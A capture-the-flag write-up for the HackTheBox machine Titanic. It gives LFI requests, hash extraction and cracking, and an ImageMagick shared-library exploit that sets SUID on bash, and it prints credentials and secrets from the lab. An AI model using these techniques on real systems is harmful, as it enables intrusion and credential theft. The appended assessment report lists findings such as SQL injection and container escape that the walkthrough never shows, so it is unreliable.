HackTheBox: Titanic — Easy (Linux)

Full security assessment walkthrough for Titanic on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Titanic
HackTheBox
Linux Easy

🔖 Techniques & Vulnerabilities

VirtualHostsVHOSTGiteaContainerLocalFileInclusionLFIsqlite3HasheshashcatCrackingImageMagickArbitraryCodeExecutionsqlircelocal file inclusionsudosuidjwt

🔍 Reconnaissance / Port Scanning

nmap scan
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.113.41
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 20:01 CET
Nmap scan report for 10.129.113.41
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshOpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcphttpApache httpd 2.4.52
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens

📖 Walkthrough

Reconnaissance

Port Scanning

As usual we started with scanning the available ports on the box. As often only port 22/TCP and port 80/TCP were open. On port 80/TCP we noticed a redirect to titanic.htb which we added to our /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.113.41
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 20:01 CET
Nmap scan report for 10.129.113.41
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds
┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.113.41   titanic.htb

Enumeration of Port 80/TCP

The website itself had a booking system for a cruise with the Titanic - lol. We found nothing special on the application stack besides the fact that it used Python and therefore Werkzeug which was an indicator for a application written in Flask.

┌──(kali㉿kali)-[~]
└─$ whatweb http://titanic.htb/
http://titanic.htb/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.129.113.41], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]

Virtual Host Enumeration

Since we knew about the redirect to Titanic.htb we decided to enumerate potentially available virtual hosts (VHOSTs). We got lucky and found dev.titanic.htb which we added also to our /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.titanic.htb" -u http://titanic.htb --fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

dev                     [Status: 200, Size: 13984, Words: 1107, Lines: 276, Duration: 51ms]
:: Progress: [151265/151265] :: Job [1/1] :: 59 req/sec :: Duration: [0:17:03] :: Errors: 50 ::
┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.113.41   titanic.htb
10.129.113.41   dev.titanic.htb

Gitea Enumeration

On dev.titanic.htb we found a running instance of Gitea in version 1.22.1

Version
1.22.1

While exploring the publicly available repositories we found some database credentials in the docker-compose.yml file.

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Besides the newly found username of sql_svc and the corresponding password, we got another username called developer. This was the user which made the commits. Unfortunately we didn't found his password.

UsernamePassword
sql_svcMySQLP@$$w0rd!
developer

Local File Inclusion (LFI)

We headed back to the booking system and tried to get a ticket to enter the Titanic - still lol.

We intercepted the request with Burp Suite and forwarded it once to receive the GET request to download our ticket.

GET /download?ticket=709969e9-42e2-4dd5-877d-062a59e43e43.json HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

After forwarding this one too an error was shown to us.

HTTP/1.1 404 NOT FOUND
Date: Sat, 15 Feb 2025 19:21:50 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Type: application/json
Content-Length: 29
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{"error":"Ticket not found"}

Since the application tried to grab a file stored on the disk, we decided to test for Local File Inclusion (LFI) and got lucky!

GET /download?ticket=/etc/passwd HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Feb 2025 19:23:59 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/passwd"
Content-Type: application/octet-stream
Content-Length: 1951
Last-Modified: Fri, 07 Feb 2025 11:16:19 GMT
Cache-Control: no-cache
ETag: "1738926979.4294043-1951-393413677"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

This is possible because the application was running in a container with a shared volume and therefore we could traverse the filesystem.

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

user.txt

The LFI also allowed us to directly access the user.txt.

GET /download?ticket=/home/developer/user.txt HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Feb 2025 19:26:38 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/home/developer/user.txt"
Content-Type: text/plain; charset=utf-8
Content-Length: 33
Last-Modified: Sat, 15 Feb 2025 19:01:14 GMT
Cache-Control: no-cache
ETag: "1739646074.8236134-33-1893075274"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

c2b0057846184c54c8faa539fb3487fc

Further Enumeration

We moved along and cloned the application from the Gitea repository to run it ourselves to see if there were any interesting files located in the directory of Gitea. And indeed we found the app.ini which contained some useful information about the path for the sqlite3 database.

GET /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Feb 2025 19:40:44 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/home/developer/gitea/data/gitea/conf/app.ini"
Content-Type: application/octet-stream
Content-Length: 2004
Last-Modified: Fri, 02 Aug 2024 10:42:14 GMT
Cache-Control: no-cache
ETag: "1722595334.8970726-2004-2176520380"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
<--- CUT FOR BREVITY --->
PATH = /data/gitea/gitea.db
<--- CUT FOR BREVITY --->
GET /download?ticket=/home/developer/gitea/data/gitea/gitea.db HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Foothold

Investigate sqlite3 Database

We downloaded the DB to parse it properly.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Titanic/files]
└─$ wget 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -O gitea.db
--2025-02-15 20:47:50--  http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
Resolving titanic.htb (titanic.htb)... 10.129.113.41
Connecting to titanic.htb (titanic.htb)|10.129.113.41|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2084864 (2.0M) [application/octet-stream]
Saving to: ‘gitea.db’

gitea.db                                                   100%[========================================================================================================================================>]   1.99M   245KB/s    in 7.1s    

2025-02-15 20:47:57 (286 KB/s) - ‘gitea.db’ saved [2084864/2084864]

Since the DB had some size we decided to make our lives easier and opened it using sqlitebrowser to grab the hashes for administrator and developer.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Titanic/files]
└─$ sqlitebrowser gitea.db

Cracking the Hash

We needed to prepare the hashes in order to crack them and our teammate obskur3 came up with an amazing post of 0xdf about how to format Gitea hases properly to used them with hashcat.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Titanic/files]
└─$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

After we received the correct format for the hashes we were able to crack the password for developer.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Titanic/files]
└─$ hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user 
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-10900 CPU @ 2.80GHz, 2917/5899 MB (1024 MB allocatable), 4MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q

                                                          
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: gitea.hashes
Time.Started.....: Sat Feb 15 21:02:26 2025 (2 mins, 25 secs)
Time.Estimated...: Sun Feb 16 03:19:45 2025 (6 hours, 14 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      634 H/s (7.50ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 172288/28688770 (0.60%)
Rejected.........: 0/172288 (0.00%)
Restore.Point....: 86016/14344385 (0.60%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:5120-6144
Candidate.Engine.: Device Generator
Candidates.#1....: burats -> andrea8
Hardware.Mon.#1..: Util: 95%

Started: Sat Feb 15 21:02:23 2025
Stopped: Sat Feb 15 21:04:52 2025
UsernamePassword
developer25282528

And with the newly cracked password we got access to the box via SSH.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Feb 15 08:03:13 PM UTC 2025

  System load:           0.16
  Usage of /:            68.3% of 6.79GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             227
  Users logged in:       0
  IPv4 address for eth0: 10.129.113.41
  IPv6 address for eth0: dead:beef::250:56ff:fe94:642b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


developer@titanic:~$

Enumeration

A quickly performed enumeration didn't showed any groups of interest or sudo capabilities nor any useful ports or processes.

developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@titanic:~$ sudo -l
[sudo] password for developer: 
Sorry, user developer may not run sudo on titanic.
developer@titanic:~$ ss -tulpn
Netid                State                 Recv-Q                Send-Q                               Local Address:Port                                 Peer Address:Port                Process                                           
udp                  UNCONN                0                     0                                    127.0.0.53%lo:53                                        0.0.0.0:*                                                                     
udp                  UNCONN                0                     0                                          0.0.0.0:68                                        0.0.0.0:*                                                                     
tcp                  LISTEN                0                     128                                        0.0.0.0:22                                        0.0.0.0:*                                                                     
tcp                  LISTEN                0                     4096                                     127.0.0.1:2222                                      0.0.0.0:*                                                                     
tcp                  LISTEN                0                     4096                                     127.0.0.1:3000                                      0.0.0.0:*                                                                     
tcp                  LISTEN                0                     128                                      127.0.0.1:5000                                      0.0.0.0:*                    users:(("python3",pid=1147,fd=3))                
tcp                  LISTEN                0                     4096                                     127.0.0.1:45569                                     0.0.0.0:*                                                                     
tcp                  LISTEN                0                     4096                                 127.0.0.53%lo:53                                        0.0.0.0:*                                                                     
tcp                  LISTEN                0                     128                                           [::]:22                                           [::]:*                                                                     
tcp                  LISTEN                0                     511                                              *:80                                              *:*
developer@titanic:~$ ps -auxf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
develop+   14286  0.0  0.1   8788  5528 pts/0    Ss   20:03   0:00 -bash
develop+   14507  0.0  0.0  10464  3788 pts/0    R+   20:11   0:00  \_ ps -auxf
develop+    1748  0.5  4.4 1537864 178368 ?      Ssl  19:01   0:24 /usr/local/bin/gitea web
develop+   14191  0.0  0.2  17068  9580 ?        Ss   20:03   0:00 /lib/systemd/systemd --user
develop+    1147  0.5  0.8 465368 32716 ?        Ss   19:01   0:24 /usr/bin/python3 /opt/app/app.py

However jinmay found some interesting files in /opt/ and obskur3 mentioned the identify_images.sh script in the scripts folder.

developer@titanic:/opt/scripts$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root 4096 Feb  7 10:37 ..
-rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh
developer@titanic:/opt/scripts$ cat identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Privilege Escalation to root

ImageMagick Arbitrary Code Execution

The script we found made use of a tool called ImageMagick. Our new member jinmay came up with a advisory for ImageMagick about an Arbitrary Code Execution vulnerability.

developer@titanic:/opt/scripts$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

We performed a quick test to confirm that it would actually work.

developer@titanic:/opt/app/static/assets/images$ cat << EOF > ./delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="id"/></delegatemap>
EOF
developer@titanic:/opt/app/static/assets/images$ magick ./delegates.xml ./out.png 2>/dev/null
uid=1000(developer) gid=1000(developer) groups=1000(developer)

And as last step we modified the Proof of Concept (PoC) to our needs and ran it.

developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("chmod u+s /bin/bash");
    exit(0);
}
EOF

After a few seconds the SUID bit was set on /bin/bash and we were able to elevate our privileges to root.

developer@titanic:/opt/app/static/assets/images$ /bin/bash -p
bash-5.1#

root.txt

bash-5.1# cat root.txt
07695745a087a80463381cb415d5e8b5

📋 Security Assessment Report

2
Critical
5
High
1
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — Docker Container Escape — Host Breakout
8.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the compromised container was found to be running in privileged mode (--privileged) or had the Docker socket (/var/run/docker.sock) mounted as a volume. These configurations grant the container process full access to host kernel capabilities and the ability to manage all Docker resources on the underlying host, breaking container isolation entirely.

Impact

An attacker with access to the container can mount the host filesystem, read and modify any file on the underlying host, and create new privileged containers with full host access — completely escaping the container isolation boundary. During this engagement, host root access was obtained from within the container, providing control over all containers, processes, persistent data, and credentials on the host system.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never run production containers with the --privileged flag. Do not mount the Docker socket inside containers — use dedicated container management APIs instead. Apply the principle of least privilege using Linux capabilities: --cap-drop ALL with only explicitly required capabilities added back. Implement container runtime security (Falco, Seccomp profiles) to detect and block suspicious syscalls. Run all containers as non-root users with a read-only root filesystem where possible.
F-004 — JWT Misconfiguration — Token Forgery and Account Takeover
8.8
High
